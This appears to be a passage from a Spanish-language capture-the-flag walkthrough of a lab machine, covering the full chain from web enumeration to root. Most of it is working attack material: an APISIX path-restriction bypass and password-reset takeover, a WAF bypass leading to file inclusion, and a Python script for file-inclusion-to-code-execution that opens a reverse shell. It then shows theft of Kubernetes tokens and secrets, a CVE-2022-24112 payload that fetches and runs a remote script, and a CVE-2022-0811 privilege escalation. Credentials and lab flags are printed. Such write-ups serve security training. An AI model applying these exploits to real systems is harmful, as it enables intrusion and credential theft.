If-None-Match: W/"943-fi30rwsLZ4S6RaFA9tqDgdMaUDU"
Connection: close
Pero no está del todo funcional, así que fuzzeo por nuevas rutas en el puerto 80
gobuster dir -u http://www.pokatmon-app.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 50
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://www.pokatmon-app.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/09/18 18:52:33 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 179] [--> /images/]
/login (Status: 200) [Size: 3340]
/docs (Status: 301) [Size: 175] [--> /docs/]
/welcome (Status: 302) [Size: 28] [--> /login]
/artwork (Status: 301) [Size: 181] [--> /artwork/]
/forgot (Status: 200) [Size: 2371]
/password-reset (Status: 403) [Size: 21]
Progress: 26433 / 26585 (99.43%)
===============================================================
2023/09/18 18:53:31 Finished
===============================================================
Le tramito una petición por GET a /password-reset
curl -s -X GET http://www.pokatmon-app.htb/password-reset
unknown email address
Aquí si que puedo poner el email sin problema
GET /password-reset?email=roger.foster37@freemail.htb HTTP/1.1
Host: www.pokatmon-app.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 18 Sep 2023 18:55:05 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
ETag: W/"6a-rBNa87rL/0J+eVfsL14RwpZXowo"
Content-Length: 106
Check your email and change your password 2ca9d49993c191e9a97791eafc5b5d6c44fc660fadcfbe67363658989588fe9f
El último valor parece un token, si cambio la petición a POST. Puedo comprobarlo cambiando la petición a POST y mirando la respuesta
HTTP/1.1 403 Forbidden
Server: nginx/1.18.0
Date: Mon, 18 Sep 2023 19:49:18 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
ETag: W/"1e-F0oTUf2zSZOGOekUkbWNqkGagIs"
Content-Length: 30
invalid email address or token
Sin embargo, no tengo forma de cambiar la contraseña desde aqui. En ningún error se muestra otro parámetro u endpoint que me sirva, así que hay que enumerar más. Encuentro un plugin relacionado con Apache APISIX
Esto permite abusar de las versiones inferiores a la 2.10.2 (En este caso se emplea la 2.10.1, se puede ver en las cabeceras de respuesta) para bypassear resticciones de rutas a las que no se debería tener accesso. En el ejemplo que dan introducen una /
pero en este caso no aplica. Sin embargo, al url-encodear el primer caracter, la respuesta cambia
curl -s -X GET 'https://www.pokatmon-app.htb/private/' -k
{"error_msg":"access is not allowed"}
curl -s -X GET 'https://www.pokatmon-app.htb/%70rivate/' -k
{"error_msg":"404 Route Not Found"}
wfuzz -c --hc=403,404 -t 50 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 'https://www.pokatmon-app.htb/%70rivate/FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://www.pokatmon-app.htb/%70rivate/FUZZ
Total requests: 26584
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000039: 405 4 L 23 W 178 Ch "login"
000023284: 200 1 L 2 W 43 Ch "password-reset"
Total time: 0
Processed Requests: 26535
Filtered Requests: 26533
Requests/sec.: 0
La ruta password-reset
devuelve un código de estado 200. Le tramito una petición por GET y aparece un panel de ayuda
curl -s -X GET 'https://www.pokatmon-app.htb/%70rivate/password-reset' -k | jq
{
"error": "usage: /password-reset/<email>"
}
Introduzco el email y me genera de nuevo un token
curl -s -X GET 'https://www.pokatmon-app.htb/%70rivate/password-reset/roger.foster37@freemail.htb' -k | jq
{
"token": "50ac15ef6ba60a04b4181c8bd6ff42299afdeb9daaa752c1fa3024e9b6978f20"
}
Al cambiar la petición a POST, solicita el token
curl -s -X POST 'https://www.pokatmon-app.htb/%70rivate/password-reset/roger.foster37@freemail.htb' -k | jq
{
"error": "missing parameter token"
}
Y, finalmente, el parámetro para la nueva contraseña
curl -s -X POST 'https://www.pokatmon-app.htb/%70rivate/password-reset/roger.foster37@freemail.htb' -k -d 'token=c501152926570745d06bd44a37054a463e4a8c788154418b5d37de81f85c4177' | jq
{
"error": "missing parameter new_password"
}
Creo una nueva y me loggeo desde la web
curl -s -X POST 'https://www.pokatmon-app.htb/%70rivate/password-reset/roger.foster37@freemail.htb' -k -d 'token=c501152926570745d06bd44a37054a463e4a8c788154418b5d37de81f85c4177&new_password=rubbx123' | jq
{
"success": "password changed"
}
Gano acceso a los Docs de una API
Añado el subdominio pokatdex-api-v1.pokatmon-app.htb
al /etc/hosts
. Encuentro una función que permite obtener los datos de una región
Puedo habilitar el debug
curl -s -X GET 'http://pokatdex-api-v1.pokatmon-app.htb/?region=test&debug=true' -H 'accept: application/json'
{"error": "unknown region", "debug": include(): Failed opening 'regions/test' for inclusion (include_path='.:/usr/share/php')"}
Se está tratando de abrir un un archivo, así que pruebo un LFI, pero devuelve Forbbiden
curl -s -X GET 'http://pokatdex-api-v1.pokatmon-app.htb/?region=../../../../../../../../../etc/passwd' -H 'accept: application/json' -x http://localhost:8080
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>
Puede que se esté empleando algún tipo de WAF. Con chatgpt
busco cuál es el más empleado
Encuentro un CVE en cve.mitre.org del que puedo abusar
En el primer enlace de las referencias explican como abusar de este
La vulnerabilidad está relacionada con la falta de omisión adecuada en las reglas de Drupal y la desactivación del escaneo del cuerpo de la solicitud. Más adelante comparten un archivo que en caso de ser elimininado manualmente se corrige el fallo
Desde el repositorio oficial, se puede ver el commit donde realizan el parcheo. Para ajustarme a la versión, cambio el branch al v3.3/dev
. Busco por el archivo REQUEST-903.9001-DRUPAL-EXCLUSION-RULES.conf
Al abrirlo me permite ver los cambios
Y en uno de ellos solucionan el CVE
Para ver el archivo en modificar, abro el commit anterior
Busco por la palabra body
que mencionaban en el CVE. Al cambiar el método a POST, la validación no se aplica correctamente y toma como ruta /admin/content/assets/manage/
seguido de data, teniendo en cuenta que hay que crear una cookie, únicamente para validar las regex
Consigo un LFI
curl -s -X POST 'http://pokatdex-api-v1.pokatmon-app.htb/admin/content/assets/add/test' -d 'region=../../../../../../etc/passwd&debug=true' -H 'Cookie: SESS0=a'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
www:x:1000:1000::/home/www:/bin/sh
Existe una forma de ejecutar comandos abusdando de la escritura de archivos temporales, más conocido como LFI2RCE via Nginx temp files.
Voy a utilizar el script del ejemplo, pero con algunas modificaciones. Obtengo manualmente el número de procesadores que tiene asignados la máquina
curl -s -X POST 'http://pokatdex-api-v1.pokatmon-app.htb/admin/content/assets/add/test' -d 'region=../../../../../../proc/cpuinfo&debug=true' -H 'Cookie: SESS0=a' | grep processor | wc -l
2
Lo mismo para el PID máximo
curl -s -X POST 'http://pokatdex-api-v1.pokatmon-app.htb/admin/content/assets/add/test' -d 'region=../../../../../../proc/sys/kernel/pid_max' -H 'Cookie: SESS0=a'
4194304
En el script cambio estos datos y modifico la petición para que sea por POST, arrastrando las cabeceras y parámetros correspondientes e indico el comando en PHP que quiero ejecutar
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
import threading, requests
URL = f'http://pokatdex-api-v1.pokatmon-app.htb/admin/content/assets/add/test'
cpus = 2
pid_max = 4194304
nginx_workers = []
for pid in range(pid_max):
r = requests.post(URL,
data={'region': f'../../proc/{pid}/cmdline'},
cookies={"SESS0": "a"}
)
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
done = False
def uploader():
print('[+] starting uploader')
while not done:
requests.post(URL, data='pwned\n<?php system("bash -c \'bash -i >& /dev/tcp/10.10.16.58/443 0>&1\'"); /*' + 16*1024*'A')
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'../../proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r = requests.post(URL, data={'region': f}, cookies={"SESS0": "a"})
if r.text and "pwned" in r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
Gano acceso al sistema como el usuario wwww
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.58] from (UNKNOWN) [10.10.11.199] 47970
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
www@pokatdex-api-75b7bd96f7-2xkxk:/www$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www@pokatdex-api-75b7bd96f7-2xkxk:/www$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
www@pokatdex-api-75b7bd96f7-2xkxk:/www$ export TERM=xterm-color
www@pokatdex-api-75b7bd96f7-2xkxk:/www$ export SHELL=bash
www@pokatdex-api-75b7bd96f7-2xkxk:/www$ stty rows 55 columns 209
www@pokatdex-api-75b7bd96f7-2xkxk:/www$ source /etc/skel/.bashrc
Estoy dentro de un contenedor
www@pokatdex-api-75b7bd96f7-2xkxk:/www$ hostname -I
10.244.0.8
Dentro de /run/secrets/kubernetes.io/serviceaccount
se encuentran datos de interés de kubernetes, como tokens o nombres de pods
www@pokatdex-api-75b7bd96f7-2xkxk:/run/secrets/kubernetes.io/serviceaccount$ ls
ca.crt namespace token
www@pokatdex-api-75b7bd96f7-2xkxk:/$ cat /run/secrets/kubernetes.io/serviceaccount/token; echo
eyJhbGciOiJSUzI1NiIsImtpZCI6IjAtelk2WTBKaFgwY3g0b3hxbVF6OWg5blJmNkVOS0xiNFhkNklqN2ZybGcifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzI2Njc5Mzc2LCJpYXQiOjE2OTUxNDMzNzYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJhcHBsaWNhdGlvbnMiLCJwb2QiOnsibmFtZSI6InBva2F0ZGV4LWFwaS03NWI3YmQ5NmY3LTJ4a3hrIiwidWlkIjoiOGI3MGY1YjItODE1OC00NDg5LTk0NGUtMDA2ZTM1Yzc2ZDkzIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMTRmN2QyM2MtZDlmZi00OGE1LTg1MmItODAyZTdjZmVjZDkzIn0sIndhcm5hZnRlciI6MTY5NTE0Njk4M30sIm5iZiI6MTY5NTE0MzM3Niwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmFwcGxpY2F0aW9uczpkZWZhdWx0In0.AEG4Lkr7U5awNtE-WrIXTqCkaY5VGYXm0cbOt9pndbqJiIiXJw88q4h7oYzCP1KUQQp2N20oZ_X5v7umGIxAOkNrJ12I1VRrv9RRbZvSa6rt2siYPY029nhW7RwUSIMc65aVa8buBhQ4ERy0zlp7LcNBpjpUAzv005UleWctchkhOWgaEc28YdzbwKwzfO4Mcfhr02yJC5SDi7dzKYqPqte_fmhKLxK4sZ94MFQnfjppOgMESWfDsl1L_gqEhHUBI2j04rM56wClmFQlaEQ3y_5HD6n1g5J2jiYYBzOZXetxEZFtQjZpwOQeeZ3xV43l-wutPipiRcbBi_MttQ4ixg
Siguiendo este artículo puedo conectarme a la API proporcionando ciertos datos
www@pokatdex-api-75b7bd96f7-2xkxk:/tmp$ APISERVER=https://kubernetes.default.svc
www@pokatdex-api-75b7bd96f7-2xkxk:/tmp$ SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
www@pokatdex-api-75b7bd96f7-2xkxk:/tmp$ NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
www@pokatdex-api-75b7bd96f7-2xkxk:/tmp$ TOKEN=$(cat ${SERVICEACCOUNT}/token)
www@pokatdex-api-75b7bd96f7-2xkxk:/tmp$ CACERT=${SERVICEACCOUNT}/ca.crt
www@pokatdex-api-75b7bd96f7-2xkxk:/tmp$ curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api
{
"kind": "APIVersions",
"versions": [
"v1"
],
"serverAddressByClientCIDRs": [
{
"clientCIDR": "0.0.0.0/0",
"serverAddress": "192.168.49.2:8443"
}
]
Al no haberse producido ningún error, intento traer los secretos. Esto devuelve un output muy grande que no voy a añadir todo. Lo importante son las credenciales de apisix
www@pokatdex-api-75b7bd96f7-2xkxk:/tmp$ curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/applications/secrets
{
"kind": "SecretList",
"apiVersion": "v1",
"metadata": {
"resourceVersion": "2411518"
},
"items": [
{
"metadata": {
"name": "apisix-credentials",
"namespace": "applications",
"uid": "be010bfa-acfb-410b-a5a3-23a2be554642",
"resourceVersion": "806",
"creationTimestamp": "2022-03-17T22:02:57Z",
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"data\":{\"APISIX_ADMIN_KEY\":\"YThjMmVmNWJjYzM3NmU5OTFhZjBiMjRkYTI5YzNhODc=\",\"APISIX_VIEWER_KEY\":\"OTMzY2NjZmY4YjVkNDRmNTAyYTNmMGUwOTQ3NmIxMTg=\"},\"kind\":\"Secret\",\"metadata\":{\"annotations\":{},\"name\":\"apisix-credentials\",\"namespace\":\"applications\"},\"type\":\"Opaque\"}\n"
},
"managedFields": [
{
"manager": "kubectl-client-side-apply",
"operation": "Update",
"apiVersion": "v1",
"time": "2022-03-17T22:02:57Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:data": {
".": {},
"f:APISIX_ADMIN_KEY": {},
"f:APISIX_VIEWER_KEY": {}
},
"f:metadata": {
"f:annotations": {
".": {},
"f:kubectl.kubernetes.io/last-applied-configuration": {}
}
},
"f:type": {}
}
}
]
},
"data": {
"APISIX_ADMIN_KEY": "YThjMmVmNWJjYzM3NmU5OTFhZjBiMjRkYTI5YzNhODc=",
"APISIX_VIEWER_KEY": "OTMzY2NjZmY4YjVkNDRmNTAyYTNmMGUwOTQ3NmIxMTg="
},
"type": "Opaque"
},
...
Al buscar por Apisix RCE
encuentro un exploit para esta versión
Se trata del [CVE-2022-24112]. En vez de utilizar el script en python del POC, lo hago de forma manual. Creo un archivo index.html
que se encargue de enviarme una reverse shell
1
2
3
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.77/443 0>&1'
Lo comparto con python, y, siguiendo la guía lo cargo en el servidor
curl -sk -H "Content-Type: application/json" -X POST "https://10.10.11.199/apisix/batch-requests" -d '{"headers": {"X-API-KEY": "a8c2ef5bcc376e991af0b24da29c3a87"}, "timeout": 1500, "pipeline": [{"path": "/apisix/admin/routes/index", "method": "PUT", "body": "{\"uri\":\"/shell/rubbx\",\"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"127.0.0.1\":1}},\"name\":\"shell\",\"filter_func\":\"function(vars) os.execute(\\\"curl http://10.10.16.77/ -o /tmp/rubbx; bash /tmp/rubbx\\\"); return true end\"}"}]}' | jq .
[
{
"headers": {
"Access-Control-Max-Age": "3600",
"Access-Control-Allow-Credentials": "true",
"Server": "APISIX/2.10.1",
"Content-Type": "application/json",
"Access-Control-Expose-Headers": "*",
"Transfer-Encoding": "chunked",
"Access-Control-Allow-Origin": "*",
"Connection": "close",
"Date": "Fri, 22 Sep 2023 16:57:22 GMT"
},
"reason": "Created",
"status": 201,
"body": "{\"node\":{\"value\":{\"upstream\":{\"nodes\":{\"127.0.0.1\":1},\"type\":\"roundrobin\",\"hash_on\":\"vars\",\"scheme\":\"http\",\"pass_host\":\"pass\"},\"id\":\"index\",\"update_time\":1695401842,\"priority\":0,\"create_time\":1695401842,\"filter_func\":\"function(vars) os.execute(\\\"curl http:\\/\\/10.10.16.77\\/ -o \\/tmp\\/rubbx; bash \\/tmp\\/rubbx\\\"); return true end\",\"uri\":\"\\/shell\\/rubbx\",\"status\":1,\"name\":\"shell\"},\"key\":\"\\/apisix\\/routes\\/index\"},\"action\":\"set\"}\n"
}
Para ejecutarlo, lo cargo desde el endpoint que indiqué
curl https://10.10.11.199/shell/rubbx -k
Gano acceso al sistema
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.77] from (UNKNOWN) [10.10.11.199] 33514
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
bash-5.1$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
bash-5.1$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
bash-5.1$ export TERM=xterm-color
bash-5.1$ export SHELL=bash
bash-5.1$ stty rows 55 columns 209
Encuentro credenciales hardcodeadas para un usuario por SSH
bash-5.1$ cat conf/config.yaml
...
discovery:
eureka:
fetch_interval: 30
host:
- http://andrew:st41rw4y2h34v3n@evolution.pokatmon.htb:8888
prefix: /eureka/
timeout:
connect: 2000
read: 5000
send: 2000
weight: 100
...
Gano acceso al sistema y puedo ver la primera flag
ssh andrew@10.10.11.199
The authenticity of host '10.10.11.199 (10.10.11.199)' can't be established.
ED25519 key fingerprint is SHA256:rmoKwjIaPE8JsFR4KglXMzWTko/1/8TgsbS+3UOi1Rk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.199' (ED25519) to the list of known hosts.
andrew@10.10.11.199's password:
Linux pikatwoo.pokatmon.htb 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 17 15:37:02 2023 from 10.10.14.13
andrew@pikatwoo:~$ cat user.txt
149c6e91373c5a1737edda04d0246e9f
Escalada
Subo a la máquina kubectl
para enumerar Kubernetes
. Primero lo descargo a mi equipo
curl -LO https://dl.k8s.io/release/v1.28.2/bin/linux/amd64/kubectl
Y después lo transfiero
ndrew@pikatwoo:/tmp$ wget http://10.10.16.77/kubectl
--2023-09-22 18:10:43-- http://10.10.16.77/kubectl
Connecting to 10.10.16.77:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 49864704 (48M) [application/octet-stream]
Saving to: ‘kubectl’
kubectl 100%[===================================================================================================================>] 47.55M 3.57MB/s in 20s
2023-09-22 18:11:03 (2.41 MB/s) - ‘kubectl’ saved [49864704/49864704]
Si intento listar los PODs me devuelve un error
andrew@pikatwoo:/tmp$ ./kubectl get pods
Error from server: the server responded with the status code 412 but did not return more information
Esto se debe a que me faltan permisos. Sin embargo, en el directorio personal del usuario jenniffer
se encuentra un archivo de configuración
andrew@pikatwoo:/tmp$ kubectl --kubeconfig /home/jennifer/.kube/config get pods
Error from server (Forbidden): pods is forbidden: User "jennifer" cannot list resource "pods" in API group "" in the namespace "default"
Ahora el error cambia, no puedo leer desde ese namespace
, pero tengo varios para elegir
andrew@pikatwoo:/tmp$ kubectl --kubeconfig /home/jennifer/.kube/config get namespaces
NAME STATUS AGE
applications Active 553d
default Active 553d
development Active 316d
kube-node-lease Active 553d
kube-public Active 553d
kube-system Active 553d
Tras probar todos, no logro nada en especial. Si listo los paquetes del sistema, encuentro un complemento de Kubernetes
andrew@pikatwoo:/tmp$ dpkg -l | grep minikube
hi minikube 1.28.0-0 amd64 Minikube
En los logs del usuario jennifer
se puede ver el ContainerRuntime
y Driver
. Hace poco se publicó una vulnerabilidad en la que se toman en cuenta estos tres conceptos
andrew@pikatwoo:/home/jennifer/.minikube/logs$ cat lastStart.txt | grep "Loaded profile"
I0318 10:22:23.839031 443 config.go:176] Loaded profile config "minikube": Driver=podman, ContainerRuntime=crio, KubernetesVersion=v1.23.3
Sigo la guía del CVE-2022-0811 para convertirme en el usuario root
. Creo un script en bash que se encargue de asignarle el SUID a la bash
1
2
3
#!/bin/bash
chmod u+s /bin/bash
Le asigno permisos de ejecución
andrew@pikatwoo:/dev/shm$ chmod +x pwned.sh
Y copio el yaml
de configuración del POD malicioso para sobrescribir una propiedad del kernel y que se ejecute el script
1
2
3
4
5
6
7
8
9
10
11
12
13
apiVersion: v1
kind: Pod
metadata:
name: sysctl-set
spec:
securityContext:
sysctls:
- name: kernel.shm_rmid_forced
value: "1+kernel.core_pattern=|/dev/shm/pwned.sh #"
containers:
- name: alpine
image: alpine:latest
command: ["tail", "-f", "/dev/null"]
Creo el POD
andrew@pikatwoo:/dev/shm$ /tmp/kubectl --kubeconfig /home/jennifer/.kube/config create -f malicious.yml -n development
pod/sysctl-set created
Se modifica la configuración del kernel
andrew@pikatwoo:/dev/shm$ cat /proc/sys/kernel/core_pattern
|/dev/shm/pwned.sh #'
Para ejecutar el exploit, ejecuto un comando en segundo plano y borro el PID (Abusando de un crash dump
)
andrew@pikatwoo:/dev/shm$ tail -f /dev/null &
[1] 554567
andrew@pikatwoo:/dev/shm$ kill -SIGSEGV 554567
La bash se convierte en SUID
andrew@pikatwoo:/dev/shm$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
[1]+ Segmentation fault (core dumped) tail -f /dev/null
Puedo ver la segunda flag
andrew@pikatwoo:/dev/shm$ bash -p
bash-5.1# cat /root/root.txt
a9e820e630aa64ccd2fda370907c74c6